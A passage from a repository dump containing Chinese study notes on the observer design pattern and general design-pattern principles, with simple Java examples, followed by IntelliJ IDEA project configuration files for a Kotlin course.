  {
    "path": "docs/android/AndroidNote/JavaNote/设计模式相关/观察者模式.md",
    "content": "#设计模式-观察者模式\n\n\n> 观察者模式：观察者模式（有时又被称为发布（publish ）-订阅（Subscribe）模式、模型-视图（View）模式、源-收听者(Listener)模式或从属者模式）是软件设计模式的一种。在此种模式中，一个目标物件管理所有相依于它的观察者物件，并且在它本身的状态改变时主动发出通知。这通常透过呼叫各观察者所提供的方法来实现。此种模式通常被用来实现事件处理系统。\n\n\n![图片来自网络](http://upload-images.jianshu.io/upload_images/2585384-1efae6ff8877c554.jpg?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)\n\n\n实现方式：观察者模式（Observer）完美的将观察者和被观察的对象分离开。举个例子，用户界面可以作为一个观察者，业务数据是被观察者，用户界面观察业务数据的变化，发现数据变化后，就显示在界面上。面向对象设计的一个原则是：系统中的每个类将重点放在某一个功能上，而不是其他方面。一个对象只做一件事情，并且将他做好。观察者模式在模块之间划定了清晰的界限，提高了应用程序的可维护性和重用性。\n观察者设计模式定义了对象间的一种一对多的依赖关系，以便一个对象的状态发生变化时，所有依赖于它的对象都得到通知并自动刷新。\n\n----\n\n过程：比较直观的方式就是当你注册了我们的服务的时候，就会收到通知，当你撤销注册的时候就不会再收到通知。\n\n\n----\n\n实例1：（我们以一个微信公众号和一个qq的订阅号为订阅者提供消息，为实例的代码让大家看一下）（自己纯手写了一个观察者模式）：\n\n\n````\n\nObjectForWeiXin.java:\n/*\n * @author linSir;\n * 2016-08-04\n * 这是一个微信的公众号\n */\n\npublic class ObjectForWeiXin implements Subject {\n\t/*\n\t * 一个观察者的集合\n\t */\n\tprivate List<Observer> observers = new ArrayList<Observer>();\n\n\tprivate String msg;// 微信提示的消息\n\n\t@Override\n\tpublic void registerObserber(Observer obsever) {\n\n\t\tobservers.add(obsever);//向用户集合中添加用户\n\t}\n\n\t@Override\n\tpublic void removeObserver(Observer obserber) {//移除观察者\n\t\tint index = observers.indexOf(obserber);\n\t\tif (index >= 0) {\n\t\t\tobservers.remove(index);\n\t\t}\n\n\t}\n\n\t@Override\n\tpublic void notifyObservers() {//遍历，让每一个用户都更新\n\t\tfor (Observer observer : observers) {\n\t\t\tobserver.update(msg);\n\t\t}\n\n\t}\n\n\tpublic void setMsg(String msg) {//设置推送信息\n\t\tthis.msg = msg;\n\t\tnotifyObservers();\n\t}\n\n}\n\t\n\n````\n\n\n````\nObserver.java:\n/*\n * @author linSir;\n * 2016-08-04\n * 所有用户的基类，有一个更新消息的方法\n */\n\npublic interface Observer {\n\t\n\tpublic void update(String msg);\n\n}\n\n\n````\n\n\n````\n\nObserver1.java:\n/*\n * @author linSir;\n * 2016-08-04\n * 模拟的用户1\n */\n\npublic class Observer1 implements Observer {\n\n\n\tpublic Observer1(Subject subject) {\n\t\tsubject.registerObserber(this);\n\t}\n\n\tpublic Observer1(Subject subject,Subject subject2) {\n\t\tsubject.registerObserber(this);\n\t\tsubject2.registerObserber(this);\n\t}\n\n\t@Override\n\tpublic void update(String msg) {\n\t\tSystem.out.println(\"我(O1)收到消息是--->\" + msg + \",我要记下来\");\n\t}\n\n}\n\n````\n\n\n\n````\n\nObserver2.java:\n/*\n * @author linSir;\n * 2016-08-04\n * //模拟的用户2\n */\n\npublic class Observer2 implements Observer{\n\n\tprivate Subject subject;\n\n\tpublic Observer2(Subject subject) {\n\t\tthis.subject=subject;\n\t\tsubject.registerObserber(this);\n\t}\n\n\t@Override\n\tpublic void update(String msg) {\n\t\tSystem.out.println(\"我(O2)收到消息是--->\" + msg + \",我要记下来\");\n\n\t}\n}\n\n````\n\n\n````\n\nSubject.java:\n/*\n * @author lin_sir;\n * 2016-08-04\n */\n\npublic interface Subject {\n\t/*\n\t * 注册一个观察者\n\t */\n\tpublic void registerObserber(Observer obsever);\n\n\t/*\n\t * 移除一个观察者\n\t */\n\tpublic void removeObserver(Observer obserber);\n\n\t/*\n\t * 通知所有观察者\n\t */\n\tpublic void notifyObservers();\n\n}\n\n````\n\n````\n\nTest.java:\n\t/*\n\t * 测试类\n\t * 用户1订阅了两个公众号，用户2订阅了一个微信的公众号\n\t */\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\n\t\tObjectForWeiXin weiXin = new ObjectForWeiXin();\n\t\tObjectForQQ qq = new ObjectForQQ();\n\n\t\tObserver observer1 = new Observer1(weiXin, qq);\n\t\tObserver observer2 = new Observer2(weiXin);\n\t\t\n\t\tqq.setMsg(\"qq ： 祝大家开心快乐！\");\n\t\tweiXin.setMsg(\"微信  ：祝大家财源滚滚！\");\n\t}\n}\n\n````\n\n\n````\n输出结果：\n我(O1)收到消息是--->qq ： 祝大家开心快乐！,我要记下来\n我(O1)收到消息是--->微信  ：祝大家财源滚滚！,我要记下来\n我(O2)收到消息是--->微信  ：祝大家财源滚滚！,我要记下来\n\n````\n\n\n以上便是我们的手写的观察者模式了；\n\n****\n\n实例2：（我们以一个微信公众号和QQ公众号为实例的代码让大家看一下）（利用java内置的观察者模式来完成）：\n\n下面我们使用java内置的类实现观察者模式：\n\n````\nObserver1.java:\n/*\n * @author linSir;\n * \t2016-08-04\n */\npublic class Observer1 implements Observer {//模拟的用户\n\n\tpublic void registerSubject(Observable observable) {\n\t\tobservable.addObserver((Observer) this);\n\t}\n\n\tpublic void update(Observable o, Object arg) {\n\t\tif (o instanceof SubjectForWeiSXin) {\n\t\t\tSubjectForWeiSXin subjectFor3d = (SubjectForWeiSXin) o;\n\t\t\tSystem.out.println(\"subjectForWeiXin's msg -- >\" + subjectFor3d.getMsg());\n\t\t}\n\n\t\tif (o instanceof SubjectForQQ) {\n\t\t\tSubjectForQQ subjectForSSQ = (SubjectForQQ) o;\n\t\t\tSystem.out.println(\"subjectForQQ's msg -- >\" + subjectForSSQ.getMsg());\n\t\t}\n\t}\n\n}\n````\n\n````\nSubjectForQQ.java:\n/*\n * @author linSir;\n * \t2016-08-04\n */\n\npublic class SubjectForQQ extends Observable {\n\n\tprivate String msg;\n\n\tpublic String getMsg() {\n\t\treturn msg;\n\t}\n\n\tpublic void setMsg(String msg) {\n\t\tthis.msg = msg;\n\t\tsetChanged();\n\t\tnotifyObservers();\n\t}\n\n}\n````\n\n````\nSubjectForWeiSXin.java:\n/*\n * @author lin_sir;\n * \t2016-08-04\n */\n\npublic class SubjectForWeiSXin extends Observable {\n\n\tprivate String msg;\n\n\tpublic String getMsg() {\n\t\treturn msg;\n\t}\n\n\tpublic void setMsg(String msg) {\n\t\tthis.msg = msg;\n\t\tsetChanged();\n\t\tnotifyObservers();\n\t}\n\n}\n````\n\n````\nTest.java:\n/*\n * @author linSir;\n * \t2016-08-04\n */\n\npublic class Test {\n\n\tpublic static void main(String[] args) {\n\t\n\t\tSubjectForQQ subjectForQQ=new SubjectForQQ();\n\t\tSubjectForWeiSXin subjectForWeiSXin=new SubjectForWeiSXin();\n\t\t\n\t\tObserver1 observer1=new Observer1();\n\t\tobserver1.registerSubject(subjectForQQ);\n\t\tobserver1.registerSubject(subjectForWeiSXin);\n\t\t\n\t\tsubjectForQQ.setMsg(\"QQ让聊天更生动\");\n\t\tsubjectForWeiSXin.setMsg(\"微信让聊天更简洁\");\n\t\t\n\t\t\n\t\t\n\t}\n\n}\n````\n\n````\n输出结果：\nsubjectForQQ's msg -- >QQ让聊天更生动\nsubjectForWeiXin's msg -- >微信让聊天更简洁\n````\n\n\n> 以上就是我们利用java内置的观察者模式，写出来的一段示例代码了，这样的好处是代码非常的简洁，但是并没有使用接口模式，这也是一个不足之处经常为人所诟病，当然我就是抱着学习的态度去看它的，在这里就不加以评价了。\n"
  },
  {
    "path": "docs/android/AndroidNote/JavaNote/设计模式相关/设计模式概括.md",
    "content": "#设计模式\n> 设计模式（Design pattern）是一套被反复使用、多数人知晓的、经过分类编目的、代码设计经验的总结。使用设计模式是为了可重用代码、让代码更容易被他人理解、保证代码可靠性。 毫无疑问，设计模式于己于他人于系统都是多赢的，设计模式使代码编制真正工程化，设计模式是软件工程的基石，如同大厦的一块块砖石一样。项目中合理的运用设计模式可以完美的解决很多问题，每种模式在现在中都有相应的原理来与之对应，每一个模式描述了一个在我们周围不断重复发生的问题，以及该问题的核心解决方案，这也是它能被广泛应用的原因。\n\n设计模式总共有六大原则：\n1、开闭原则（Open Close Principle）\n\n开闭原则就是说对扩展开放，对修改关闭。在程序需要进行拓展的时候，不能去修改原有的代码，实现一个热插拔的效果。所以一句话概括就是：为了使程序的扩展性好，易于维护和升级。想要达到这样的效果，我们需要使用接口和抽象类，后面的具体设计中我们会提到这点。\n\n2、里氏代换原则（Liskov Substitution Principle）\n\n里氏代换原则(Liskov Substitution Principle LSP)面向对象设计的基本原则之一。 里氏代换原则中说，任何基类可以出现的地方，子类一定可以出现。 LSP是继承复用的基石，只有当衍生类可以替换掉基类，软件单位的功能不受到影响时，基类才能真正被复用，而衍生类也能够在基类的基础上增加新的行为。里氏代换原则是对“开-闭”原则的补充。实现“开-闭”原则的关键步骤就是抽象化。而基类与子类的继承关系就是抽象化的具体实现，所以里氏代换原则是对实现抽象化的具体步骤的规范。—— From Baidu 百科\n\n3、依赖倒转原则（Dependence Inversion Principle）\n\n这个是开闭原则的基础，具体内容：真对接口编程，依赖于抽象而不依赖于具体。\n\n4、接口隔离原则（Interface Segregation Principle）\n\n这个原则的意思是：使用多个隔离的接口，比使用单个接口要好。还是一个降低类之间的耦合度的意思，从这儿我们看出，其实设计模式就是一个软件的设计思想，从大型软件架构出发，为了升级和维护方便。所以上文中多次出现：降低依赖，降低耦合。\n\n5、迪米特法则（最少知道原则）（Demeter Principle）\n\n为什么叫最少知道原则，就是说：一个实体应当尽量少的与其他实体之间发生相互作用，使得系统功能模块相对独立。\n\n6、合成复用原则（Composite Reuse Principle）\n\n原则是尽量使用合成/聚合的方式，而不是使用继承。\n\n我们广泛使用的设计模式，大概有23种，这些设计模式，可以使我们的代码复用变得更简单，可以使我们的代码的可读性变得更好，所有我们应该掌握这些设计模式，接下来，我的文章中，会着重介绍这些设计模式。\n\n> 参考文章：http://www.cnblogs.com/maowang1991/archive/2013/04/15/3023236.html\n"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/.idea/KotlinCourse.iml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<module type=\"WEB_MODULE\" version=\"4\">\n  <component name=\"NewModuleRootManager\">\n    <content url=\"file://$MODULE_DIR$\" />\n    <orderEntry type=\"inheritedJdk\" />\n    <orderEntry type=\"sourceFolder\" forTests=\"false\" />\n  </component>\n</module>"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/.idea/misc.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"JavaScriptSettings\">\n    <option name=\"languageLevel\" value=\"ES6\" />\n  </component>\n</project>"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/.idea/modules.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ProjectModuleManager\">\n    <modules>\n      <module fileurl=\"file://$PROJECT_DIR$/.idea/KotlinCourse.iml\" filepath=\"$PROJECT_DIR$/.idea/KotlinCourse.iml\" />\n    </modules>\n  </component>\n</project>"
  },
  {
    "path": "docs/android/AndroidNote/KotlinCourse/.idea/workspace.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project version=\"4\">\n  <component name=\"ChangeListManager\">\n    <list default=\"true\" id=\"3690aa90-925b-46c8-bd3a-6815730e7586\" name=\"Default\" comment=\"\" />\n    <option name=\"EXCLUDED_CONVERTED_TO_IGNORED\" value=\"true\" />\n    <option name=\"TRACKING_ENABLED\" value=\"true\" />\n    <option name=\"SHOW_DIALOG\" value=\"false\" />\n    <option name=\"HIGHLIGHT_CONFLICTS\" value=\"true\" />\n    <option name=\"HIGHLIGHT_NON_ACTIVE_CHANGELIST\" value=\"false\" />\n    <option name=\"LAST_RESOLUTION\" value=\"IGNORE\" />\n  </component>\n  <component name=\"FavoritesManager\">\n    <favorites_list name=\"KotlinCourse\" />\n  </component>\n  <component name=\"FileEditorManager\">\n    <leaf>\n      <file leaf-file-name=\"Kotlin学习教程(一).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(一).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"480\">\n                <caret line=\"307\" column=\"8\" lean-forward=\"true\" selection-start-line=\"307\" selection-start-column=\"8\" selection-end-line=\"307\" selection-end-column=\"8\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(二).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(二).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"34\" column=\"33\" selection-start-line=\"34\" selection-start-column=\"33\" selection-end-line=\"34\" selection-end-column=\"33\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(三).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(三).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"41\" column=\"9\" selection-start-line=\"41\" selection-start-column=\"9\" selection-end-line=\"41\" selection-end-column=\"9\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(四).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(四).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"95\" column=\"48\" selection-start-line=\"95\" selection-start-column=\"48\" selection-end-line=\"95\" selection-end-column=\"48\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(五).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(五).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"439\" column=\"5\" selection-start-line=\"439\" selection-start-column=\"5\" selection-end-line=\"439\" selection-end-column=\"5\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(六).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(六).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"50\" column=\"51\" selection-start-line=\"50\" selection-start-column=\"51\" selection-end-line=\"50\" selection-end-column=\"51\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(七).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(七).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"25\" column=\"8\" selection-start-line=\"25\" selection-start-column=\"8\" selection-end-line=\"25\" selection-end-column=\"8\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(八).md\" pinned=\"false\" current-in-tab=\"true\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(八).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"453\">\n                <caret line=\"540\" lean-forward=\"true\" selection-start-line=\"540\" selection-end-line=\"540\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(九).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(九).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"294\">\n                <caret line=\"41\" column=\"61\" selection-start-line=\"41\" selection-start-column=\"58\" selection-end-line=\"41\" selection-end-column=\"61\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n      <file leaf-file-name=\"Kotlin学习教程(十).md\" pinned=\"false\" current-in-tab=\"false\">\n        <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(十).md\">\n          <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n            <state split_layout=\"FIRST\">\n              <first_editor relative-caret-position=\"999\">\n                <caret line=\"37\" lean-forward=\"true\" selection-start-line=\"37\" selection-end-line=\"37\" />\n              </first_editor>\n              <second_editor />\n            </state>\n          </provider>\n        </entry>\n      </file>\n    </leaf>\n  </component>\n  <component name=\"FindInProjectRecents\">\n    <findStrings>\n      <find>let</find>\n    </findStrings>\n  </component>\n  <component name=\"GOROOT\" path=\"/usr/local/go\" />\n  <component name=\"IdeDocumentHistory\">\n    <option name=\"CHANGED_PATHS\">\n      <list>\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(二).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(三).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(四).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(五).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(六).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(七).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(九).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(十).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(一).md\" />\n        <option value=\"$PROJECT_DIR$/Kotlin学习教程(八).md\" />\n      </list>\n    </option>\n  </component>\n  <component name=\"JsBuildToolGruntFileManager\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsBuildToolPackageJson\" detection-done=\"true\" sorting=\"DEFINITION_ORDER\" />\n  <component name=\"JsGulpfileManager\">\n    <detection-done>true</detection-done>\n    <sorting>DEFINITION_ORDER</sorting>\n  </component>\n  <component name=\"NodePackageJsonFileManager\">\n    <packageJsonPaths />\n  </component>\n  <component name=\"ProjectFrameBounds\">\n    <option name=\"y\" value=\"23\" />\n    <option name=\"width\" value=\"1680\" />\n    <option name=\"height\" value=\"957\" />\n  </component>\n  <component name=\"ProjectView\">\n    <navigator proportions=\"\" version=\"1\">\n      <foldersAlwaysOnTop value=\"true\" />\n    </navigator>\n    <panes>\n      <pane id=\"ProjectPane\">\n        <subPane>\n          <expand>\n            <path>\n              <item name=\"KotlinCourse\" type=\"b2602c69:ProjectViewProjectNode\" />\n              <item name=\"KotlinCourse\" type=\"462c0819:PsiDirectoryNode\" />\n            </path>\n            <path>\n              <item name=\"KotlinCourse\" type=\"b2602c69:ProjectViewProjectNode\" />\n              <item name=\"External Libraries\" type=\"cb654da1:ExternalLibrariesNode\" />\n            </path>\n          </expand>\n          <select />\n        </subPane>\n      </pane>\n      <pane id=\"Scope\" />\n    </panes>\n  </component>\n  <component name=\"PropertiesComponent\">\n    <property name=\"go.gopath.indexing.explicitly.defined\" value=\"true\" />\n    <property name=\"go.sdk.automatically.set\" value=\"true\" />\n    <property name=\"last_opened_file_path\" value=\"$PROJECT_DIR$\" />\n    <property name=\"nodejs_interpreter_path.stuck_in_default_project\" value=\"undefined stuck path\" />\n    <property name=\"nodejs_npm_path_reset_for_default_project\" value=\"true\" />\n  </component>\n  <component name=\"RunDashboard\">\n    <option name=\"ruleStates\">\n      <list>\n        <RuleState>\n          <option name=\"name\" value=\"ConfigurationTypeDashboardGroupingRule\" />\n        </RuleState>\n        <RuleState>\n          <option name=\"name\" value=\"StatusDashboardGroupingRule\" />\n        </RuleState>\n      </list>\n    </option>\n  </component>\n  <component name=\"ToolWindowManager\">\n    <frame x=\"0\" y=\"23\" width=\"1680\" height=\"957\" extended-state=\"0\" />\n    <editor active=\"true\" />\n    <layout>\n      <window_info active=\"true\" content_ui=\"combo\" id=\"Project\" order=\"0\" sideWeight=\"0.49943376\" visible=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"TODO\" order=\"6\" />\n      <window_info anchor=\"bottom\" id=\"Event Log\" order=\"10\" side_tool=\"true\" />\n      <window_info anchor=\"right\" id=\"Database\" order=\"3\" />\n      <window_info anchor=\"bottom\" id=\"Database Changes\" order=\"7\" show_stripe_button=\"false\" />\n      <window_info anchor=\"bottom\" id=\"Run\" order=\"2\" />\n      <window_info anchor=\"bottom\" id=\"Version Control\" order=\"9\" show_stripe_button=\"false\" />\n      <window_info id=\"Structure\" order=\"1\" side_tool=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Terminal\" order=\"8\" />\n      <window_info anchor=\"bottom\" id=\"Debug\" order=\"3\" weight=\"0.4\" />\n      <window_info id=\"Favorites\" order=\"2\" sideWeight=\"0.50056624\" side_tool=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"right\" content_ui=\"combo\" id=\"Hierarchy\" order=\"2\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Inspection\" order=\"5\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Commander\" internal_type=\"SLIDING\" order=\"0\" type=\"SLIDING\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Ant Build\" order=\"1\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Message\" order=\"0\" />\n      <window_info anchor=\"bottom\" id=\"Cvs\" order=\"4\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Find\" order=\"1\" />\n    </layout>\n    <layout-to-restore>\n      <window_info anchor=\"right\" content_ui=\"combo\" id=\"Hierarchy\" order=\"2\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Inspection\" order=\"5\" weight=\"0.4\" />\n      <window_info active=\"true\" content_ui=\"combo\" id=\"Project\" order=\"0\" sideWeight=\"0.49943376\" visible=\"true\" weight=\"0.25\" />\n      <window_info id=\"Structure\" order=\"1\" side_tool=\"true\" weight=\"0.25\" />\n      <window_info anchor=\"right\" id=\"Commander\" internal_type=\"SLIDING\" order=\"0\" type=\"SLIDING\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Ant Build\" order=\"1\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"TODO\" order=\"6\" />\n      <window_info anchor=\"bottom\" id=\"Version Control\" order=\"9\" show_stripe_button=\"false\" />\n      <window_info anchor=\"bottom\" id=\"Run\" order=\"2\" />\n      <window_info anchor=\"bottom\" id=\"Message\" order=\"0\" />\n      <window_info anchor=\"bottom\" id=\"Debug\" order=\"3\" weight=\"0.4\" />\n      <window_info anchor=\"right\" id=\"Database\" order=\"3\" />\n      <window_info anchor=\"bottom\" id=\"Terminal\" order=\"8\" />\n      <window_info anchor=\"bottom\" id=\"Event Log\" order=\"10\" side_tool=\"true\" />\n      <window_info anchor=\"bottom\" id=\"Database Changes\" order=\"7\" show_stripe_button=\"false\" />\n      <window_info anchor=\"bottom\" id=\"Cvs\" order=\"4\" weight=\"0.25\" />\n      <window_info anchor=\"bottom\" id=\"Find\" order=\"1\" />\n      <window_info id=\"Favorites\" order=\"2\" sideWeight=\"0.50056624\" side_tool=\"true\" visible=\"true\" weight=\"0.25\" />\n    </layout-to-restore>\n  </component>\n  <component name=\"TypeScriptGeneratedFilesManager\">\n    <option name=\"version\" value=\"1\" />\n  </component>\n  <component name=\"VcsContentAnnotationSettings\">\n    <option name=\"myLimit\" value=\"2678400000\" />\n  </component>\n  <component name=\"editorHistoryManager\">\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(三).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"486\">\n            <caret line=\"18\" column=\"10\" lean-forward=\"true\" selection-start-line=\"18\" selection-start-column=\"10\" selection-end-line=\"18\" selection-end-column=\"10\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(四).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"3294\">\n            <caret line=\"122\" column=\"70\" lean-forward=\"true\" selection-start-line=\"122\" selection-start-column=\"70\" selection-end-line=\"122\" selection-end-column=\"70\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(三).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"41\" column=\"9\" selection-start-line=\"41\" selection-start-column=\"9\" selection-end-line=\"41\" selection-end-column=\"9\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(四).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"95\" column=\"48\" selection-start-line=\"95\" selection-start-column=\"48\" selection-end-line=\"95\" selection-end-column=\"48\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(五).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"439\" column=\"5\" selection-start-line=\"439\" selection-start-column=\"5\" selection-end-line=\"439\" selection-end-column=\"5\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(六).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"50\" column=\"51\" selection-start-line=\"50\" selection-start-column=\"51\" selection-end-line=\"50\" selection-end-column=\"51\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(七).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"25\" column=\"8\" selection-start-line=\"25\" selection-start-column=\"8\" selection-end-line=\"25\" selection-end-column=\"8\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(九).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"41\" column=\"61\" selection-start-line=\"41\" selection-start-column=\"58\" selection-end-line=\"41\" selection-end-column=\"61\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(十).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"999\">\n            <caret line=\"37\" lean-forward=\"true\" selection-start-line=\"37\" selection-end-line=\"37\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(二).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"294\">\n            <caret line=\"34\" column=\"33\" selection-start-line=\"34\" selection-start-column=\"33\" selection-end-line=\"34\" selection-end-column=\"33\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    </entry>\n    <entry file=\"file://$PROJECT_DIR$/Kotlin学习教程(一).md\">\n      <provider selected=\"true\" editor-type-id=\"split-provider[text-editor;markdown-preview-editor]\">\n        <state split_layout=\"FIRST\">\n          <first_editor relative-caret-position=\"480\">\n            <caret line=\"307\" column=\"8\" lean-forward=\"true\" selection-start-line=\"307\" selection-start-column=\"8\" selection-end-line=\"307\" selection-end-column=\"8\" />\n          </first_editor>\n          <second_editor />\n        </state>\n      </provider>\n    